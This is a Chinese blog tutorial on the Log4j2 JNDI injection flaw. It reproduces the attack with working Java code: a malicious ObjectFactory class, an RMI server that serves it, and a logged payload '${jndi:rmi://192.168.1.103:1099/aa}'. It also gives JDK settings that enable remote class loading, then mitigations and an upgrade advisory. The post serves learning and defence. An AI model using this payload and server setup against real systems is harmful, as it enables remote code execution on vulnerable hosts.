背景
Apache Log4j2是一個基於Java的日志記錄工具。該工具重寫了Log4j框架,並且引入了大量豐富的特性。該日志框架被大量用於業務系統開發,用來記錄日志信息。大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中,比如在用戶登錄的時候打印一些異常信息,如xxx密碼輸入錯誤超過5次,賬號被鎖定;xxx賬號已被鎖定;xxx賬號頻繁異地登錄。
前不久,Apache 開源項目 Log4j 的遠程代碼執行漏洞細節被公開,由於 Log4j 的廣泛使用,該漏洞一旦被攻擊者利用會造成嚴重危害。
據悉,Apache Log4j 2.x <= 2.14.1 版本均回會受到影響。受影響應用包括但不限於:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。
因該組件使用極為廣泛,利用門檻很低,危害極大,網絡安全專家建議所有用戶盡快升級到安全版本>=2.15.0。
漏洞細節
srping-boot-strater-log4j2此次漏洞的出現,正是由用於 Log4j 2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置。但在實現的過程中,並未對輸入進行嚴格的判斷,從而造成漏洞的發生。
JNDI和RMI的關系
JNDI可以遠程下載class文件來構建對象
漏洞復現
黑客在自己的客戶端啟動一個帶有惡意代碼的rmi服務,通過服務端的log4j的漏洞,向服務端的jndi context lookup的時候連接自己的rmi服務器,服務端連接rmi服務器執行lookup的時候會通過rmi查詢到該地址指向的引用並且本地實例化這個類,所以在類中的構造方法或者靜態代碼塊中寫入邏輯,就會在服務端(jndi rmi過程中的客戶端)實例化的時候執行到這段邏輯,導致jndi注入。
代碼
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.lingyejun</groupId> <artifactId>log4j2-safe</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies> </project>
package com.lingyejun.rmi; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class HackerAttackCode implements ObjectFactory { public HackerAttackCode() { } static { System.out.println("黑客正在攻擊你的服務器"); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
package com.lingyejun.rmi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiServer { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); // new Reference()中的第三個參數表示HackerAttackCode classes 文件的路徑, 可以是ftp,http協議,本機直接寫null Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); System.out.println("RMI服務端已啟動"); } catch (Exception e) { e.printStackTrace(); } } }
package com.lingyejun; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2SafeMain { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args) { String userName = "lingyejun"; LOGGER.info("user {} log in success", userName); userName = "${java:runtime}"; LOGGER.info("user {} log in success", userName); // Java的高版本默認是不會執行遠程類的,只有低於8u121會被rmi注入,低於8u191的版本才會被ldap注入。 /*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/ userName = "${jndi:rmi://192.168.1.103:1099/aa}"; LOGGER.info("user {} log in success", userName); } }
編寫測試代碼時候需注意以下幾點
- 視頻中的new Reference(), 中的第三個參數表示EvilObj classes 文件的路徑, 可以是ftp,http協議,本機直接寫null。
- 在測試類中由於JDK 版本原因可能會報 The object factory is untrusted 類似錯誤, 因為Java的高版本默認是不會執行遠程類的,只有低於8u121會被rmi注入,低於8u191的版本才會被ldap注入。在Log4jTest類中添加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");
- 翎野君的jdk版本是1.8.0_144,HackerAttackCode需要實現javax.naming.spi.ObjectFactory接口才能復現。
修復
1. 臨時應急緩解措施
(1)修改 jvm 參數 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true
2. 修復方案檢查所有使用了 Log4j 組件的系統,將log4j組件版本升級至2.15.0以上。
總之不要相信客戶端的輸入信息,永遠相信來自用戶的輸入是危險的。
本篇文章如有幫助到您,請給「翎野君」點個贊,感謝您的支持。